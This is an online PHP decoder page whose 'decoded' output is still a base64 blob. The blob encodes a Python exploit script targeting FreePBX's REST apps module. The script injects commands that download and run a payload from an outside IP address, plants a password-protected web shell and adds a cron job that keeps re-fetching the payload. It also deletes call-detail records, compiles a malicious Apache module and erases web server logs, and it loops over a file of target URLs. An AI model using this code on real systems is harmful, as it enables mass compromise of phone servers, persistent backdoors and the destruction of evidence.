Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
IyBmcm9tIG5DMFIgaW1wb3J0ICoKZ1snd29ya2VycyddWyd4RlBCWHJlc3QnXSA9IHsnd2hvJzogJ0kgYW0gdGhlIE..
Decoded Output download
<? IyBmcm9tIG5DMFIgaW1wb3J0ICoKZ1snd29ya2VycyddWyd4RlBCWHJlc3QnXSA9IHsnd2hvJzogJ0kgYW0gdGhlIEZyZWVwYnggUmVzdCBBUEkgZXhwbG9pdCcsICd3b3JrZXJBcmdzJzogWyd1cmxzRmlsZU5vbSddfQoKaW1wb3J0IHJlcXVlc3RzLCBzeXMsIHJlLCB0aW1lLCBoYXNobGliCmZyb20gY29sb3JhbWEgaW1wb3J0IEZvcmUsIEJhY2ssIFN0eWxlLCBpbml0Cgppbml0KDgwMCkKaW1wb3J0IGJhc2U2NApmcm9tIHRocmVhZGluZyBpbXBvcnQgVGhyZWFkCgp0cnk6CiAgICBmcm9tIFF1ZXVlIGltcG9ydCBRdWV1ZQpleGNlcHQgSW1wb3J0RXJyb3I6CiAgICBmcm9tIHF1ZXVlIGltcG9ydCBRdWV1ZQogICAgIyBwcmludCgiRXhjZXB0aW9uIFF1ZXVlIExvYWRlZCIpCgoKZGVmIGF0dGFjayhsaW5rKToKICAgIHRyeToKICAgICAgICBpcCA9IHJlLmZpbmRhbGwocidbMC05XSsoPzpcLlswLTldKyl7M30nLCBsaW5rKVswXQogICAgICAgIGxpbmsgPSByZS5maW5kYWxsKHInKGh0dHBzP1w6XC9cL1swLTldKyg/OlwuWzAtOV17MSwzfSl7M30oOj9bMC05XSspPyknLCBsaW5rKVswXVswXQogICAgICAgICMgcHJpbnQobGluaykKICAgICAgICB4ID0gTm9uZQogICAgICAgIGlmICh4ID09IE5vbmUpOgogICAgICAgICAgICBhcHAgPSAnYXBwbGljYXRpb25zLnBocCcKICAgICAgICAgICAgY3ggPSByZXF1ZXN0cy5nZXQoc3RyKGxpbmspICsgJy9yZXN0YXBwcy8nICsgYXBwICsgIj9saW5lc3RhdGU9JCRMSU5FU1RBVEUkJCZ1c2VyPTEwMCUwQUNvbnRleHQlM0ElMjBleHQtbG9jYWwlMEElMEFBY3Rpb24lM0ElMjBPcmlnaW5hdGUlMEFDaGFubmVsJTNBJTIwTG9jYWwlMmY1NTVAYXBwLWNoYW5zcHklMEFBcHBsaWNhdGlvbiUzQSUyMHN5c3RlbSUwQWRhdGElM0ElMjB3Z2V0JTIwaHR0cCUzQSUyZiUyZjQ1LjE0My4yMjAuMTE2LyUyMC1PJTIwJTJmdG1wJTJmayUzQmJhc2glMjAlMmZ0bXAlMmZrJTBBJTBBJTBBJTBBIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5PUZhbHNlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXJzPXsnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjM2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzYuMCd9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTEwKQogICAgICAgICAgICB0aW1lLnNsZWVwKDEwKQogICAgICAgICAgICBzaGVsbCA9IHN0cihsaW5rKSArICcvYWRtaW4vdmlld3MvY29uZmlnLnBocCcKICAgICAgICAgICAgYyA9IHJlcXVlc3RzLmdldChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTUwKQogICAgICAgICAgICBpZiByZS5maW5kYWxsKCdFbWlnb3NzbycsIGMudGV4dCwgcmUuSSk6CiAgICAgICAgICAgICAgICBwcmludCgiU2hlbGwgVXBsb2FkZWQiLCBzaGVsbCArICI/bWQ1PSIgKyBzdHIocGFzc2ZlZW4oaXApKSkKICAgICAgICAgICAgICAgIG5Mb2coc3RyKHNoZWxsKSArICI/bWQ1PSIgKyBzdHIocGFzc2ZlZW4oaXApKSwgJ3c6eEZQQlhyZXN0JywgJ3hGUEJYcmVzdC5yZXMudHh0JykKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogZ2VuaHRhY2Nlc3MoaXApfSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogInNlZCAtaSAnLyMhL2EgZWNobyBcImMyVmtJQzFwSUNjdmNtVnpkR0Z3Y0hNdlpDY2dMM1poY2k5c2IyY3ZhSFIwY0dRdktqdHliU0F0Y21ZdmRHMXdMM1pwY25Wek8yTm9iM2R1SUhKdmIzUTZjbTl2ZENBdmRtRnlMM2QzZHk5b2RHMXNMMkZrYldsdUwzWnBaWGR6TDJOdmJtWnBaeTV3YUhBN1kyaHRiMlFnZFN0eklDOTJZWEl2ZDNkM0wyaDBiV3d2WVdSdGFXNHZkbWxsZDNNdlkyOXVabWxuTG5Cb2NEcz1cIiB8IGJhc2U2NCAtZCB8IHNoJyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogImVjaG8gJ2EnID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0In0pCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJzZWQgLWkgJy9iYXNlNjQvZCcgL3Zhci9saWIvYXN0ZXJpc2svYmluL2ZyZWVwYnhfZW5naW5lIn0pCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJBTVBEQlVTRVI9YGNhdCAvZXRjL2FtcG9ydGFsLmNvbmYgfCBncmVwIEFNUERCVVNFUiB8IGN1dCAtZCc9JyAtZjJgO0FNUERCUEFTUz1gY2F0IC9ldGMvYW1wb3J0YWwuY29uZiB8IGdyZXAgQU1QREJQQVNTIHwgY3V0IC1kJz0nIC1mMmA7bXlzcWwgLS11c2VyPVwiJEFNUERCVVNFUlwiIC0tcGFzc3dvcmQ9XCIkQU1QREJQQVNTXCIgLS1kYXRhYmFzZT1cImFzdGVyaXNrY2RyZGJcIiAtZSBcImRlbGV0ZSBGUk9NIGNkciBXSEVSRSBkc3QgPSAnNzc3Nycgb3IgIGRzdCA9ICc1NTUnIG9yIGxhc3RhcHAgPSAnV2FpdCcgb3IgbGFzdGFwcCA9ICdTeXN0ZW0nXCIifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogIm5vaHVwIGFzdGVyaXNrICYifSkKCiAgICAgICAgICAgICAgICByYXdfc3lzYWRtaW5fY19iNjQgPSBiJ0kybHVZMngxWkdVZ0ltaDBkSEJrTG1naUNpTnBibU5zZFdSbElDSm9kSFJ3WDJOdmJtWnBaeTVvSWdvamFXNWpiSFZrWlNBaWFIUjBjRjl3Y205MGIyTnZiQzVvSWdvamFXNWpiSFZrWlNBaVlYQmZZMjl1Wm1sbkxtZ2lDaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZ29qYVc1amJIVmtaU0E4YzNSa2JHbGlMbWcrQ2dvS2MzUmhkR2xqSUdsdWRDQndZbmh6ZVhOaFpHMXBibDlvWVc1a2JHVnlLSEpsY1hWbGMzUmZjbVZqSUNweVpYRXBDbnNLSUNBZ0lHTnZibk4wSUdGd2NsOWhjbkpoZVY5b1pXRmtaWEpmZENBZ0lDQXFabWxsYkdSek93b2dJQ0FnYVc1MElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdrN0NpQWdJQ0JoY0hKZmRHRmliR1ZmWlc1MGNubGZkQ0FnSUNBZ0lDQWdJQ0FnS21VZ1BTQXdPd29nSUNBZ1kyaGhjaUJHVEVGSElEMGdNRHNLSUNBZ0lHbG1JQ2h6ZEhKamJYQW9jbVZ4TFQ1b1lXNWtiR1Z5TENBaWNHSjRjM2x6WVdSdGFXNGlLU2tnZXdvZ0lDQWdJQ0FnSUhKbGRIVnliaUJFUlVOTVNVNUZSRHNLSUNBZ0lIMEtJQ0FnSUdsbUlDZ2hjbVZ4TFQ1b1pXRmtaWEpmYjI1c2VTa2dld29nSUNBZ0lDQWdJR0Z3WDNKd2RYUnpLQ0o3WENKdFpYTnpZV2RsWENJNklGd2lkbWwyYjJsd1hGd2lmVnh1SWl3Z2NtVnhLVHNLSUNBZ0lIMEtDaUFnSUNCcFppQW9JWEpsY1MwK2FHVmhaR1Z5WDI5dWJIa3BJSHNLSUNBZ0lDQWdJQ0JtYVdWc1pITWdQU0JoY0hKZmRHRmliR1ZmWld4MGN5aHlaWEV0UG1obFlXUmxjbk5mYVc0cE93b2dJQ0FnSUNBZ0lHVWdQU0FvWVhCeVgzUmhZbXhsWDJWdWRISjVYM1FnS2lrZ1ptbGxiR1J6TFQ1bGJIUnpPd29LSUNBZ0lDQWdJQ0JtYjNJb2FTQTlJREE3SUdrZ1BDQm1hV1ZzWkhNdFBtNWxiSFJ6T3lCcEt5c3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ2FXWW9jM1J5WTIxd0tHVmJhVjB1YTJWNUxDQWlkbWwyYjJoaGMyZ2lLU0E5UFNBd0tYc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFWk1RVWNnUFNBeE93b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1luSmxZV3M3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdhV1lnS0VaTVFVY3Bld29nSUNBZ0lDQWdJQ0FnSUNCamFHRnlJQ29nWTI5dGJXRnVaQ0E5SUdWYmFWMHVkbUZzT3dvZ0lDQWdJQ0FnSUNBZ0lDQkdTVXhGS2lCbWNDQTlJSEJ2Y0dWdUtHTnZiVzFoYm1Rc0luSWlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ1kyaGhjaUJpZFdabVpYSmJNSGd4TURCZElEMGdlekI5T3dvZ0lDQWdJQ0FnSUNBZ0lDQnBiblFnWTI5MWJuUmxjaUE5SURFN0NpQWdJQ0FnSUNBZ0lDQWdJSGRvYVd4bEtHTnZkVzUwWlhJcGV3b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1kyOTFiblJsY2lBOUlHWnlaV0ZrS0dKMVptWmxjaXdnTVN3Z2MybDZaVzltS0dKMVptWmxjaWtzSUdad0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHRndYM0ozY21sMFpTaGlkV1ptWlhJc0lHTnZkVzUwWlhJc0lISmxjU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQWdJQ0FnY0dOc2IzTmxLR1p3S1RzS0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlFUlBUa1U3Q2lBZ0lDQWdJQ0FnZlFvZ0lDQWdmUW9nSUNBZ0NpQWdJQ0J5WlhFdFBtTnZiblJsYm5SZmRIbHdaU0E5SUNKaGNIQnNhV05oZEdsdmJpOXFjMjl1TzJOb1lYSnpaWFE5VlZSR0xUZ2lPd29LSUNBZ0lDOHZJR0Z3WDNSaFlteGxYM05sZENCcGN5QjBiMjhnYjJ4a0lFRlFTUW9nSUNBZ1lYQnlYM1JoWW14bFgzTmxkQ2h5WlhFdFBtaGxZV1JsY25OZmIzVjBMQ0FpV0MxRGIyNTBaVzUwTFZSNWNHVXRUM0IwYVc5dWN5SXNJQ0p1YjNOdWFXWm1JaWs3Q2dvZ0lDQWdjbVYwZFhKdUlFOUxPd3A5Q2dwemRHRjBhV01nZG05cFpDQnplWE5oWkcxcGJuTmZjbVZuYVhOMFpYSmZhRzl2YTNNb1lYQnlYM0J2YjJ4ZmRDQXFjQ2tLZXdvZ0lDQWdJQ0FnSUdGd1gyaHZiMnRmYUdGdVpHeGxjaWh3WW5oemVYTmhaRzFwYmw5b1lXNWtiR1Z5TENCT1ZVeE1MQ0JPVlV4TUxDQkJVRkpmU0U5UFMxOU5TVVJFVEVVcE93cDlDZ292S2lCRWFYTndZWFJqYUNCc2FYTjBJR1p2Y2lCQlVFa2dhRzl2YTNNZ0tpOEtiVzlrZFd4bElFRlFYMDFQUkZWTVJWOUVSVU5NUVZKRlgwUkJWRUVnYzNsellXUnRhVzVmYlc5a2RXeGxJRDBnZXdvZ0lDQWdVMVJCVGtSQlVrUXlNRjlOVDBSVlRFVmZVMVJWUmtZc0NpQWdJQ0JPVlV4TUxDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDOHFJR055WldGMFpTQndaWEl0WkdseUlDQWdJR052Ym1acFp5QnpkSEoxWTNSMWNtVnpJQ292Q2lBZ0lDQk9WVXhNTENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUM4cUlHMWxjbWRsSUNCd1pYSXRaR2x5SUNBZ0lHTnZibVpwWnlCemRISjFZM1IxY21WeklDb3ZDaUFnSUNCT1ZVeE1MQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQzhxSUdOeVpXRjBaU0J3WlhJdGMyVnlkbVZ5SUdOdmJtWnBaeUJ6ZEhKMVkzUjFjbVZ6SUNvdkNpQWdJQ0JPVlV4TUxDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDOHFJRzFsY21kbElDQndaWEl0YzJWeWRtVnlJR052Ym1acFp5QnpkSEoxWTNSMWNtVnpJQ292Q2lBZ0lDQk9WVXhNTENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUM4cUlIUmhZbXhsSUc5bUlHTnZibVpwWnlCbWFXeGxJR052YlcxaGJtUnpJQ0FnSUNBZ0lDb3ZDaUFnSUNCemVYTmhaRzFwYm5OZmNtVm5hWE4wWlhKZmFHOXZhM01nSUM4cUlISmxaMmx6ZEdWeUlHaHZiMnR6SUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDb3ZDbjA3Q2dvPScKCiAgICAgICAgICAgICAgICByYXdfc3lzYWRtaW5fYyA9IGJhc2U2NC5kZWNvZGVieXRlcyhyYXdfc3lzYWRtaW5fY19iNjQpLmRlY29kZSgnYXNjaWknKQoKICAgICAgICAgICAgICAgIHJlYWR5X3N5c2FkbWluX2MgPSByYXdfc3lzYWRtaW5fYy5yZXBsYWNlKCd2aXZvaGFzaCcsICJ2aSVzIiAlIHBhc3NmZWVuKGlwKSkucmVwbGFjZSgndml2b2lwXFwnLCBpcCkKICAgICAgICAgICAgICAgIHJlYWR5X3N5c2FkbWluX2NfYjY0ID0gYmFzZTY0LmVuY29kZXN0cmluZyhzdHIuZW5jb2RlKHJlYWR5X3N5c2FkbWluX2MpKS5kZWNvZGUoJ2FzY2lpJykuc3RyaXAoKS5yZXBsYWNlKCdcbicsJycpCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTEyMCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogImVjaG8gLW4gJyVzJ3xiYXNlNjQgLWQgPiAvdG1wL3N5c2FkbWluLmMiICUgcmVhZHlfc3lzYWRtaW5fY19iNjR9KQoKICAgICAgICAgICAgICAgIGVtaWdvX3NoX2I2NCA9ICdlWFZ0SUdsdWMzUmhiR3dnTFhrZ2FIUjBjR1F0WkdWMlpXd2dMWGtLWVhCNGN5QXRhU0F0WVNBdFl5QXZkRzF3TDNONWMyRmtiV2x1TG1NS2FXWWdaM0psY0NBblBFeHZZMkYwYVc5dUlDOXplWE5wY0Q0bklDOWxkR012YUhSMGNHUXZZMjl1Wmk5b2RIUndaQzVqYjI1bUlENGdMMlJsZGk5dWRXeHNPeUIwYUdWdUNuQmhjM05wWmoweENtVnNjMlVLYzJWa0lDMXBJQ2N2Ylc5a1gyWnZieTV6Ynk5aElFeHZZV1JOYjJSMWJHVWdjM2x6WVdSdGFXNWZiVzlrZFd4bElDQWdJRnd2ZFhOeVhDOXNhV0kyTkZ3dmFIUjBjR1JjTDIxdlpIVnNaWE5jTDNONWMyRmtiV2x1WEM1emIxeHVQRXh2WTJGMGFXOXVJRnd2YzNsemFYQStYSEpjYmx4MFUyVjBTR0Z1Wkd4bGNpQndZbmh6ZVhOaFpHMXBibHh5WEc0OFhDOU1iMk5oZEdsdmJqNG5JQzlsZEdNdmFIUjBjR1F2WTI5dVppOW9kSFJ3WkM1amIyNW1DbVpwQ25ObGNuWnBZMlVnYUhSMGNHUWdjbVZ6ZEdGeWRBbz0nCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTEyMCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogImVjaG8gLW4gJyVzJ3xiYXNlNjQgLWQgPiAgL3RtcC9lbWlnby5zaCIgJSBlbWlnb19zaF9iNjR9KQoKCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTUwLCBkYXRhPXsnbWQ1Jzogc3RyKHBhc3NmZWVuKGlwKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjbWQnOiAic2VkIC1pICcvIyEvYSBiYXNoIC90bXAvZW1pZ28uc2g7IHJtIC1yZiAvdG1wLyo7Y3JvbnRhYiAtcjt7IGNyb250YWIgLWw7IGVjaG8gXCIqLzMgKiAqICogKiB3Z2V0IGh0dHA6Ly80NS4xNDMuMjIwLjExNi8gLU8gL3RtcC96O2Jhc2ggL3RtcC96O3JtIC1yZiAvdG1wL3pcIjt9IHwgY3JvbnRhYiAtO2NoYXR0ciAraSAvdmFyL3d3dy9odG1sL2FkbWluL3ZpZXdzL2NvbmZpZy5waHA7cm0gLXJmIC92YXIvbG9nL2h0dHBkLyo7JyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogImVjaG8gJ2EnID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0In0pCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJzZWQgLWkgJy9lbWlnby9kJyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKCiAgICAgICAgICAgICAgICAKCgogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcHJpbnQgKCJ4RlBCWHJlc3Qgc2hlbGwgTm90IFVwbG9hZGVkIikKICAgICAgICBlbHNlOgogICAgICAgICAgICByZXR1cm4KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBwcmludCgnLXhGUEJYcmVzdCBhdHRhY2sgRXJyb3I6JywgZSwgJ2F0IGxpbmUgJywgc3lzLmV4Y19pbmZvKClbLTFdLnRiX2xpbmVubykKCmRlZiBnZW5odGFjY2Vzc3B3ZChpcCk6CiAgICB0cnk6CiAgICAgICAgaXAgPSByZS5maW5kYWxsKCByJ1swLTldKyg/OlwuWzAtOV0rKXszfScsIGlwIClbMF0KICAgICAgICBpcGxvbmcgPSAiJXMlcyVzIiAlICgnRW5LNHI0a21uJyxpcCwgJ0Q0ckBjazAjdkFsVWUnKQogICAgICAgIHBzd2VyZCA9IGNvbXB1dGVNRDVoYXNoKGlwbG9uZykKICAgICAgICByZXR1cm4gcHN3ZXJkCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy14RlBCWHJlc3QgZ2VuaHRhY2Nlc3Nwd2QnLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQoKCmRlZiBnZW5odGFjY2VzcyhpcCk6CiAgICB0cnk6CiAgICAgICAgaXAgPSByZS5maW5kYWxsKHInWzAtOV0rKD86XC5bMC05XSspezN9JywgaXApWzBdCiAgICAgICAgaXBsb25nID0gIiVzJXMlcyIgJSAoJ0VuSzRyNGttbicsaXAsICdENHJAY2swI3ZBbFVlJykKICAgICAgICBwc3dlcmQgPSBjb21wdXRlTUQ1aGFzaChpcGxvbmcpCiAgICAgICAgaHRhY2Nlc3MgPSAnJydFcnJvckRvY3VtZW50IDUwMyAneyJhcHBsaWNhdGlvbl9uYW1lIjpOdWxsLCJhcHBsaWNhdGlvbl9kaXNwbGF5IjpudWxsLCJwYWdlX25hbWUiOm51bGwsInR5cGUiOiJkaXNwbGF5IiwiZXhpdFBhdGgiOm51bGwsImxheW91dCI6W10sImFjdGlvbiI6W10sImVycm9yIjpbeyJyZWFzb24iOjQwMCwiZGlzcGxheSI6IlBob25lIEFwcHMgbW9kdWxlIG5vdCBsaWNlbnNlZC4ifV19JwogICAgICAgIFJld3JpdGVFbmdpbmUgT24KICAgICAgICBSZXdyaXRlQ29uZCAle0hUVFA6UEFTU30gIV52aXJ1cyQgW05DXQogICAgICAgIFJld3JpdGVSdWxlIC4qIC0gW1I9NTAzLExdJycnLnJlcGxhY2UoJ3ZpcnVzJywgcHN3ZXJkKQogICAgICAgIHJldHVybiAiZWNobyAnJXMnIHwgYmFzZTY0IC1kID4gL3Zhci93d3cvaHRtbC9yZXN0YXBwcy8uaHRhY2Nlc3MiICUgYmFzZTY0LmI2NGVuY29kZShodGFjY2Vzcy5lbmNvZGUoJ3V0Zi04JykpLmRlY29kZSgidXRmLTgiKQoKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBwcmludCgnLXhGUEJYcmVzdCBnZW5odGFjY2VzcycsIGUpCgoKZGVmIGNvbXB1dGVNRDVoYXNoKHN0cmluZyk6CiAgICB0cnk6CiAgICAgICAgbSA9IGhhc2hsaWIubWQ1KCkKICAgICAgICBtLnVwZGF0ZShzdHJpbmcuZW5jb2RlKCd1dGYtOCcpKQogICAgICAgIHJldHVybiBtLmhleGRpZ2VzdCgpCgogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KCcteEZQQlhyZXN0IGNvbXB1dGVNRDVoYXNoJywgZSwgJ2F0IGxpbmUgJywgc3lzLmV4Y19pbmZvKClbLTFdLnRiX2xpbmVubykKZGVmIHBhc3NmZWVuKGlwKToKICAgIHRyeToKICAgICAgICBwcmludChpcCkKICAgICAgICBpcCA9IHJlLmZpbmRhbGwocidbMC05XSsoPzpcLlswLTldKyl7M30nLCBpcClbMF0KICAgICAgICBpcGxvbmcgPSAiJXMlcyVzIiAlICgnRW5LNHI0a21uJyxpcCwgJ0Q0ckBjazAjdkFsVWUnKQogICAgICAgIHBzd2VyZCA9IGNvbXB1dGVNRDVoYXNoKGlwbG9uZykKICAgICAgICByZXR1cm4gcHN3ZXJkCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy14RlBCWHJlc3QgcGFzc2ZlZW4nLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQoKCgpkZWYgeEZQQlhyZXN0X3dvcmtlcihpLCBxLCBoYU5vbSwgd29ya2VyQXJncyk6CiAgICB3aGlsZSBUcnVlOgogICAgICAgIHRyeToKICAgICAgICAgICAgdXJsID0gcS5nZXQodGltZW91dD0xKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0cnk6CiAgICAgICAgICAgIHByaW50KCd0aHJvd2luZyB4RlBCWHJlc3QnLCB1cmwpCiAgICAgICAgICAgIGF0dGFjayh1cmwpCiAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBwcmludCgnZmluaXNoZWQgeEZQQlhyZXN0JywgdXJsKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoJy0tRXJyb3ItLSAqV29ya2VyJywgaSAsICd1cmw6JywgdXJsLCAnRXJyb3I6XycsIGUsICdhdCBsaW5lICcsIHN5cy5leGNfaW5mbygpWy0xXS50Yl9saW5lbm8pCiAgICAgICAgICAgIHJldHVybgogICAgcHJpbnQoJ3hGUEJYX3Jlc3Qgd29ya2VyJywgaGFOb20sIGksICdpcyBmaW5pc2hlZC4uLicpCiAgICByZXR1cm4KCmRlZiB4RlBCWHJlc3RfcUdlbihxLCB3b3JrZXJBcmdzKToKICAgIHRyeToKICAgICAgICB1cmxGaWxlTm9tID0gd29ya2VyQXJnc1swXQogICAgICAgICMgY2hlY2sgaWYgdXJsIGlzIGluIHByZXZpb3VzIGhhY2tlZCB0YXJnZXRzCiAgICAgICAgd2l0aCBvcGVuKHVybEZpbGVOb20pIGFzIHVybHNGaWxlOgogICAgICAgICAgICB1cmxzID0gW3VybC5yZXBsYWNlKCJcbiIsICIiKS5yZXBsYWNlKCJcciIsICIiKSBmb3IgdXJsIGluIHVybHNGaWxlLnJlYWRsaW5lcygpXQoKICAgICAgICBmb3IgdXJsIGluIHVybHM6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHEucHV0KHVybCkKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIHJldHVybiAwCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy1FcnJvciBpbiB3b3JrZXIgeEZQQlhyZXN0X3FHZW4nLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQogICAgICAgIHJldHVybiBl ?>
Did this file decode correctly?
Original Code
IyBmcm9tIG5DMFIgaW1wb3J0ICoKZ1snd29ya2VycyddWyd4RlBCWHJlc3QnXSA9IHsnd2hvJzogJ0kgYW0gdGhlIEZyZWVwYnggUmVzdCBBUEkgZXhwbG9pdCcsICd3b3JrZXJBcmdzJzogWyd1cmxzRmlsZU5vbSddfQoKaW1wb3J0IHJlcXVlc3RzLCBzeXMsIHJlLCB0aW1lLCBoYXNobGliCmZyb20gY29sb3JhbWEgaW1wb3J0IEZvcmUsIEJhY2ssIFN0eWxlLCBpbml0Cgppbml0KDgwMCkKaW1wb3J0IGJhc2U2NApmcm9tIHRocmVhZGluZyBpbXBvcnQgVGhyZWFkCgp0cnk6CiAgICBmcm9tIFF1ZXVlIGltcG9ydCBRdWV1ZQpleGNlcHQgSW1wb3J0RXJyb3I6CiAgICBmcm9tIHF1ZXVlIGltcG9ydCBRdWV1ZQogICAgIyBwcmludCgiRXhjZXB0aW9uIFF1ZXVlIExvYWRlZCIpCgoKZGVmIGF0dGFjayhsaW5rKToKICAgIHRyeToKICAgICAgICBpcCA9IHJlLmZpbmRhbGwocidbMC05XSsoPzpcLlswLTldKyl7M30nLCBsaW5rKVswXQogICAgICAgIGxpbmsgPSByZS5maW5kYWxsKHInKGh0dHBzP1w6XC9cL1swLTldKyg/OlwuWzAtOV17MSwzfSl7M30oOj9bMC05XSspPyknLCBsaW5rKVswXVswXQogICAgICAgICMgcHJpbnQobGluaykKICAgICAgICB4ID0gTm9uZQogICAgICAgIGlmICh4ID09IE5vbmUpOgogICAgICAgICAgICBhcHAgPSAnYXBwbGljYXRpb25zLnBocCcKI